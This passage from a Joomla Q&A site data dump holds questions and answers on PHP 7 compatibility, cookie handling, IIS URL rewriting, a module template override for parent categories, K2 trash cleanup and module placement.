rename the String class to StringHelper otherwise Joomla! cannot run on PHP 7. This is a very minor change and we don’t expect any issues from it. For those interested, you can read more about it at &lt;a href=&quot;http://github.com/joomla/joomla-cms/pull/6600&quot; rel=&quot;nofollow&quot;&gt;Update to String package 1.3&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have been keenly following her development and tested J!3.5.0 on SiteGround's PHP7 since her first Betas until newest RC4, and I can confirm improvements are noticable and great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT...&lt;/strong&gt; Right now I am very concerned &lt;strong&gt;How Fast will we see all extensions fully updated to support PHP7?&lt;/strong&gt; There is a big chance that it will take months until we will be able to freely run our sites on new PHP configured as they are now on v3.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SO...&lt;/strong&gt; &lt;strong&gt;I am seriously considering manualy updating some of my favorite admin extensions to support PHP7&lt;/strong&gt;, so I can continue using them on new v3.5. For those which are popular and actively supported (like Akeeba, JCE, etc...) I will wait for developer's updates hoping they will come pretty fast. But for those which are not being actively supported anymore (there are many of them which I keep using for ages, just don't ask me for details, please) I will have to update them by myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AND...&lt;/strong&gt; My question finally is: &lt;strong&gt;Do you happen to know which changes in code are required in order to make some extension PHP7 compatible?&lt;/strong&gt;&lt;br&gt;&#xA;I mean, besides changes which Joomla team itself had to undergo for &lt;a href=&quot;http://github.com/joomla/joomla-cms/pull/6600&quot; rel=&quot;nofollow&quot;&gt;Update to String package 1.3&lt;/a&gt;...&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-05-24T17:28:59.863" LastActivityDate="2016-05-24T17:28:59.863" Title="What changes in code are required to make Joomla 3.5 extensions PHP7 compatible?" Tags="|joomla-3.x|php7|joomla-3.5|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15700" PostTypeId="2" ParentId="15699" CreationDate="2016-03-15T23:49:31.240" Score="5" Body="&lt;p&gt;Ok first thing's first. Joomla 3.5.0 stable will be released &lt;strike&gt;tomorrow&lt;/strike&gt; &lt;strong&gt;next monday&lt;/strong&gt; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I take a step back and firstly take a backup of your site and install it on a subdomain or your localhost, running PHP 7.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, thoroughly test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the extensions, I Nicolas from Akeeba already supports PHP 7 and other popular extensions will most likely already support it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would refrain from making any core changes yourself and wait for the developer to update as and when they can. You know the &quot;core hack&quot; drill....it's a &quot;no go&quot; area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for backward incompatibility changes, have a look at the following from the official PHP website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/migration70.incompatible.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/migration70.incompatible.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, maybe wait a couple of months till PHP 7 is a little more stable. It's still relatively new and there will definitely be some biggish bugs out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-03-16T11:30:29.923" LastActivityDate="2016-03-16T11:30:29.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15701" PostTypeId="2" ParentId="15697" CreationDate="2016-03-16T01:20:09.547" Score="4" Body="&lt;p&gt;Below should work for you. This was taken from [This Answer][1]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//GET JOOMLA COOKIES&#xA;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;&#xA;//GET SPECIFIC COOKIES DATA&#xA;$value        = $inputCookie-&amp;gt;get($name = 'MyCookieName', $defaultValue = NULL);&#xA;&#xA;//CONDITIONAL STATEMENT TO RETRIEVE OR SET A COOKIE&#xA;if(is_null($value)){&#xA;    //SET YOUR COOKIE IF IT DOES NOT ALREADY EXIST&#xA;    $inputCookie-&amp;gt;set($name = 'MyCookieName', $value = 'TestCookieVal', $expire = 0);&#xA;    echo 'NO COOKIE EXISTS, CREATING NEW COOKIE';&#xA;}else{&#xA;    //DO SOMETHING WITH YOUR COOKIE DATA IF IT ALREADY EXISTS&#xA;    echo $value;&#xA;    echo 'COOKIE EXISTS';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2016-03-16T21:31:15.653" LastActivityDate="2016-03-16T21:31:15.653" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="15704" PostTypeId="2" ParentId="15693" CreationDate="2016-03-16T09:44:19.087" Score="2" Body="&lt;p&gt;Your page seems to reside on a Microsoft IIS 7.5 server, thus .htaccess does nothing. It also gives a 302 redirect so I am guessing the service provider moved your page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs&quot; rel=&quot;nofollow&quot;&gt;This page seems to have the instructions for enabling rewrite on IIS 7.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly enough the rewrite itself &lt;strong&gt;does&lt;/strong&gt; seem to work, it just adds the index.php if URL is to root. So somebody set it up for IIS, but maybe not quite correctly? Or maybe IIS version just looks different?&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="2309" LastEditDate="2016-03-16T09:58:34.520" LastActivityDate="2016-03-16T09:58:34.520" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15707" PostTypeId="2" ParentId="9561" CreationDate="2016-03-16T12:33:41.430" Score="0" Body="&lt;p&gt;I have same problem with Zoo Component in Admin area after updage Joomla to  3.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solve this upgdating Zoo jquery library in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/media/zoo/libraries/jquery&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-03-16T12:33:41.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15709" PostTypeId="1" CreationDate="2016-03-16T15:34:57.230" Score="0" ViewCount="411" Body="&lt;p&gt;I am looking for a solution to pre-select the group a user will be added to depending on the menu item he is accessing the registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like 2 menu items with registration form. One is just the basic user registration users are directed to during the checkout process to they can continue with their orders. The second would be a registration form for users wanting to signup to be a distributor in a Page 'Become a Distributor'. And all the registrations from there would go to a distributors group, which would require approval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any component plugin that would do that?&#xA;I looked at the Extensions directory and couldn't really find anything.&lt;/p&gt;&#xA;" OwnerUserId="8012" LastActivityDate="2016-03-17T08:42:17.153" Title="Pre select user group based on menu item being viewed" Tags="|joomla-3.x|registration|user-groups|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15710" PostTypeId="1" CreationDate="2016-03-16T15:44:25.597" Score="1" ViewCount="70" Body="&lt;p&gt;I just noticed a my surprise the disappearance of all the tabs in my administration interface... (see attachment) You should know that all components work perfectly. For example when I type &lt;a href=&quot;http://localhost/notaire_v1/administ...p?option=&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/notaire_v1/administ...p?option=&lt;/a&gt; * I can access the content. I have just more access has different menus and I do not know why...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you help me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already followed the instructions that it offers me an attachment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EH7tu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EH7tu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8013" LastActivityDate="2016-05-10T08:02:25.470" Title="disappearance of all the tabs in my joomla administration interface" Tags="|joomla-3.x|administrator|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15711" PostTypeId="1" AcceptedAnswerId="17968" CreationDate="2016-03-16T16:16:37.883" Score="2" ViewCount="64" Body="&lt;p&gt;I'm writing an add-in for Joomla and I have a question about modules. I'll be the first to admit I'm not a wizard on Joomla. I have read a bit and watched some tutorial videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a module that displays a mini-calendar. Can I have the mini-calendar display data from one set, while on a different page, the same mini-calendar module displays data from another set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress, when you drag a widget into an area, you can specify the settings for the widget, in that specific area. You can even drag the same widget into a specific area multiple times and specify different operating parameters for each widget instance. Is there something analogous in Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If modules aren't the way to go, could anyone please give me a pointer on the direction I should go?&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-09-23T17:02:45.977" Title="Module Level Configuration" Tags="|joomla-3.x|development|module-params|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15712" PostTypeId="1" AcceptedAnswerId="15786" CreationDate="2016-03-16T16:41:24.203" Score="1" ViewCount="2198" Body="&lt;p&gt;I have created an override of &quot;mod_articles_category/default.php&quot; to get all the outputs from the article category module in table rows. This worked fine so far and it is displaying the three selected columns &quot;Title&quot;, &quot;Category&quot; and &quot;Date&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now need to add another column &quot;Parent Category&quot;. Where/how can I get the parent category of the listed articles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/849/how-to-get-parent-category-title-for-tag-view&quot;&gt;This article&lt;/a&gt; suggested the following code for quite a similar problem (Joomla 3.3):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;$id = $item-&amp;gt;core_catid;&#xA;$db-&amp;gt;setQuery(&quot;SELECT cat.parent_id FROM #__categories cat WHERE cat.id='$id'&quot;);&#xA;$parent_category_id = $db-&amp;gt;loadResult();&#xA;$db-&amp;gt;setQuery(&quot;SELECT cat.title FROM #__categories cat WHERE cat.id='$parent_category_id'&quot;);&#xA;$parent_category_title = $db-&amp;gt;loadResult();&#xA;if($parent_category_title != 'ROOT'){&#xA; echo '&amp;lt;p&amp;gt;Parent Category: '.$parent_category_title.'&amp;lt;/p&amp;gt;';&#xA;}&#xA;echo '&amp;lt;p&amp;gt;Parent Category: &amp;lt;a href=&quot;index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id='.$parent_category_id.'&quot;&amp;gt;'.$parent_category_title.'&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this code does not work for me (Joomla 3.4.8), there is nothing returned for $parent_category_title.&#xA;What is wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am not sure how clean my solution would be in the end with my override looking like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_articles_category&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;category-module&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ($grouped) : ?&amp;gt;&#xA;        &amp;lt;?php foreach ($list as $group_name =&amp;gt; $group) : ?&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;mod-articles-category-group&quot;&amp;gt;&amp;lt;?php echo $group_name;?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;table&amp;gt;&#xA;                &amp;lt;?php foreach ($group as $item) : ?&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;?php if ($params-&amp;gt;get('link_titles') == 1) : ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;a class=&quot;mod-articles-category-title &amp;lt;?php echo $item-&amp;gt;active; ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;?php else : ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;                        &amp;lt;?php if ($item-&amp;gt;displayHits) : ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;span class=&quot;mod-articles-category-hits&quot;&amp;gt;&#xA;                                (&amp;lt;?php echo $item-&amp;gt;displayHits; ?&amp;gt;)&#xA;                            &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php if ($params-&amp;gt;get('show_author')) : ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;span class=&quot;mod-articles-category-writtenby&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $item-&amp;gt;displayAuthorName; ?&amp;gt;&#xA;                            &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;?php endif;?&amp;gt;&#xA;&#xA;                        &amp;lt;?php if ($item-&amp;gt;displayCategoryTitle) : ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;span class=&quot;mod-articles-category-category&quot;&amp;gt;&#xA;                                &amp;lt;?php echo strip_tags($item-&amp;gt;displayCategoryTitle); ?&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&#xA;                                &amp;lt;?php&#xA;                                    $db = JFactory::getDbo();&#xA;                                    $id = $item-&amp;gt;core_catid;&#xA;                                    $db-&amp;gt;setQuery(&quot;SELECT cat.parent_id FROM #__categories cat WHERE cat.id='$id'&quot;);&#xA;                                    $parent_category_id = $db-&amp;gt;loadResult();&#xA;                                    $db-&amp;gt;setQuery(&quot;SELECT cat.title FROM #__categories cat WHERE cat.id='$parent_category_id'&quot;);&#xA;                                    $parent_category_title = $db-&amp;gt;loadResult();&#xA;                                    if($parent_category_title != 'ROOT'){&#xA;                                     echo '&amp;lt;span&amp;gt;'.$parent_category_title.'&amp;lt;/span&amp;gt;';&#xA;                                    }&#xA;                                    ?&amp;gt;&#xA;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php if ($item-&amp;gt;displayDate) : ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;span class=&quot;mod-articles-category-date&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;displayDate; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php if ($params-&amp;gt;get('show_introtext')) : ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;p class=&quot;mod-articles-category-introtext&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $item-&amp;gt;displayIntrotext; ?&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php if ($params-&amp;gt;get('show_readmore')) : ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;p class=&quot;mod-articles-category-readmore&quot;&amp;gt;&#xA;                                &amp;lt;a class=&quot;mod-articles-category-title &amp;lt;?php echo $item-&amp;gt;active; ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&#xA;                                    &amp;lt;?php if ($item-&amp;gt;params-&amp;gt;get('access-view') == false) : ?&amp;gt;&#xA;                                        &amp;lt;?php echo JText::_('MOD_ARTICLES_CATEGORY_REGISTER_TO_READ_MORE'); ?&amp;gt;&#xA;                                    &amp;lt;?php elseif ($readmore = $item-&amp;gt;alternative_readmore) : ?&amp;gt;&#xA;                                        &amp;lt;?php echo $readmore; ?&amp;gt;&#xA;                                        &amp;lt;?php echo JHtml::_('string.truncate', $item-&amp;gt;title, $params-&amp;gt;get('readmore_limit')); ?&amp;gt;&#xA;                                            &amp;lt;?php if ($params-&amp;gt;get('show_readmore_title', 0) != 0) : ?&amp;gt;&#xA;                                                &amp;lt;?php echo JHtml::_('string.truncate', ($this-&amp;gt;item-&amp;gt;title), $params-&amp;gt;get('readmore_limit')); ?&amp;gt;&#xA;                                            &amp;lt;?php endif; ?&amp;gt;&#xA;                                    &amp;lt;?php elseif ($params-&amp;gt;get('show_readmore_title', 0) == 0) : ?&amp;gt;&#xA;                                        &amp;lt;?php echo JText::sprintf('MOD_ARTICLES_CATEGORY_READ_MORE_TITLE'); ?&amp;gt;&#xA;                                    &amp;lt;?php else : ?&amp;gt;&#xA;                                        &amp;lt;?php echo JText::_('MOD_ARTICLES_CATEGORY_READ_MORE'); ?&amp;gt;&#xA;                                        &amp;lt;?php echo JHtml::_('string.truncate', ($item-&amp;gt;title), $params-&amp;gt;get('readmore_limit')); ?&amp;gt;&#xA;                                    &amp;lt;?php endif; ?&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;        &amp;lt;?php foreach ($list as $item) : ?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('link_titles') == 1) : ?&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;a class=&quot;mod-articles-category-title &amp;lt;?php echo $item-&amp;gt;active; ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php else : ?&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($item-&amp;gt;displayHits) : ?&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;span class=&quot;mod-articles-category-hits&quot;&amp;gt;&#xA;                        (&amp;lt;?php echo $item-&amp;gt;displayHits; ?&amp;gt;)&#xA;                    &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('show_author')) : ?&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;span class=&quot;mod-articles-category-writtenby&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;displayAuthorName; ?&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php endif;?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($item-&amp;gt;displayCategoryTitle) : ?&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;span class=&quot;mod-articles-category-category&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;displayCategoryTitle; ?&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($item-&amp;gt;displayDate) : ?&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;span class=&quot;mod-articles-category-date&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;displayDate; ?&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('show_introtext')) : ?&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;p class=&quot;mod-articles-category-introtext&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;displayIntrotext; ?&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('show_readmore')) : ?&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;p class=&quot;mod-articles-category-readmore&quot;&amp;gt;&#xA;                        &amp;lt;a class=&quot;mod-articles-category-title &amp;lt;?php echo $item-&amp;gt;active; ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;?php if ($item-&amp;gt;params-&amp;gt;get('access-view') == false) : ?&amp;gt;&#xA;                                &amp;lt;?php echo JText::_('MOD_ARTICLES_CATEGORY_REGISTER_TO_READ_MORE'); ?&amp;gt;&#xA;                            &amp;lt;?php elseif ($readmore = $item-&amp;gt;alternative_readmore) : ?&amp;gt;&#xA;                                &amp;lt;?php echo $readmore; ?&amp;gt;&#xA;                                &amp;lt;?php echo JHtml::_('string.truncate', $item-&amp;gt;title, $params-&amp;gt;get('readmore_limit')); ?&amp;gt;&#xA;                            &amp;lt;?php elseif ($params-&amp;gt;get('show_readmore_title', 0) == 0) : ?&amp;gt;&#xA;                                &amp;lt;?php echo JText::sprintf('MOD_ARTICLES_CATEGORY_READ_MORE_TITLE'); ?&amp;gt;&#xA;                            &amp;lt;?php else : ?&amp;gt;&#xA;                                &amp;lt;?php echo JText::_('MOD_ARTICLES_CATEGORY_READ_MORE'); ?&amp;gt;&#xA;                                &amp;lt;?php echo JHtml::_('string.truncate', $item-&amp;gt;title, $params-&amp;gt;get('readmore_limit')); ?&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="8014" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-22T12:56:16.640" Title="How can I display the parent category title in the article-category module by override?" Tags="|joomla-3.4|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15715" PostTypeId="2" ParentId="4317" CreationDate="2016-03-16T20:32:27.330" Score="-1" Body="&lt;p&gt;GDP's answer is correct; however, there has been a change in the parameter name. You'll want to use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_title')); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7809" LastEditorUserId="1520" LastEditDate="2016-03-17T09:06:45.813" LastActivityDate="2016-03-17T09:06:45.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15716" PostTypeId="1" AcceptedAnswerId="15732" CreationDate="2016-03-16T20:57:30.333" Score="0" ViewCount="210" Body="&lt;p&gt;I have not a testing environment where put this to the test:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete from k2_items where trash = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this will remove everything that is marked as trash, but is there any other table that has data linked to this one creating relational integrity that i can damage by doing this? &lt;/p&gt;&#xA;" OwnerUserId="7386" LastActivityDate="2016-03-17T16:36:05.717" Title="joomla 2.5 / K2 - SQL Query to delete trashed items taking care of data integrity" Tags="|joomla-2.5|k2|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15717" PostTypeId="1" CreationDate="2016-03-16T23:45:23.623" Score="0" ViewCount="155" Body="&lt;p&gt;In my Joomla installation, I need to display one module (call it myModule) at the bottom of a category blog, in the same position (say user3). myModule is a custom html module. The category blog is assigned to a menu and it is coming properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I assign myModule to the same menu, myModule appears on the screen at the top of user3 position. How do I go about to make it appear below the category blog? I tried with module ordering, but doesn't work. If I assign two modules for the same menu, then the modules appear as per the ordering. How do I control the ordering between a module and a menu assignment?&lt;/p&gt;&#xA;" OwnerUserId="8017" LastActivityDate="2016-03-17T00:50:40.277" Title="module to appear below category blog" Tags="|module-display|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15718" PostTypeId="1" AcceptedAnswerId="15793" CreationDate="2016-03-17T00:37:22.700" Score="5" ViewCount="1678" Body="&lt;p&gt;I have a joomla website on a remote server that I am constantly developing. To debug it, I need to have a local copy, but this creates a version problem: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I debug and modify the local version, afterwards some changes were made to the remote website(install extension, update content, etc.). Then if I want to do further debugging, I have to download the website to local again. This is very inconvenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Git is good at version control. Can I use it to keep my local website and remote website synchronized? Or is there any other common practice for this?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-03-22T16:28:57.800" Title="Can I use git to version control Joomla website's debugging and development?" Tags="|joomla-3.4|debug|git|github|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15719" PostTypeId="2" ParentId="15717" CreationDate="2016-03-17T00:38:45.983" Score="3" Body="&lt;p&gt;The category blog is part of the component area in your template, but the &lt;br/&gt;&#xA;module position is different than the component area, by default you can't&lt;br/&gt;&#xA;load a module inside component area (blog layout) in the same position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One simple solution is check your template positions and add your module&lt;br/&gt;&#xA;below the component area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;System&lt;/strong&gt; &gt; &lt;strong&gt;Global Configuration&lt;/strong&gt; &gt; &lt;strong&gt;Templates&lt;/strong&gt;, from here change the&lt;br/&gt; value&#xA;in the option &lt;strong&gt;Preview Module Positions&lt;/strong&gt;, check your positions in:&lt;br/&gt;&lt;strong&gt;yoursite.com?tp=1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the option &lt;strong&gt;Menu Assignment&lt;/strong&gt; you can't control the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-03-17T00:50:40.277" LastActivityDate="2016-03-17T00:50:40.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15720" PostTypeId="2" ParentId="15709" CreationDate="2016-03-17T08:42:17.153" Score="2" Body="&lt;p&gt;I put together the following script for you and tested it on my site to be sure it worked. This should do exactly what you want to do. I will outline the steps below to implement this &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My code makes the assumption you are using reCaptcha on your site, if you are not you should be to reduce some of your spam registrations.&lt;/li&gt;&#xA;&lt;li&gt;Download &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&quot; rel=&quot;nofollow&quot;&gt;Flexi Custom Code Module&lt;/a&gt; from the JED and install if in extension manager&lt;/li&gt;&#xA;&lt;li&gt;Go to Extensions &gt; Modules&lt;/li&gt;&#xA;&lt;li&gt;You should see an unpublished module there for Flexi Custom Code, click the title to edit it.&lt;/li&gt;&#xA;&lt;li&gt;Set the title to Registration or anything else you want, then hide the title.&lt;/li&gt;&#xA;&lt;li&gt;Choose a module position to display this module in&lt;/li&gt;&#xA;&lt;li&gt;There are 4 options beneath the Custom Code box, leave PHP toggled on 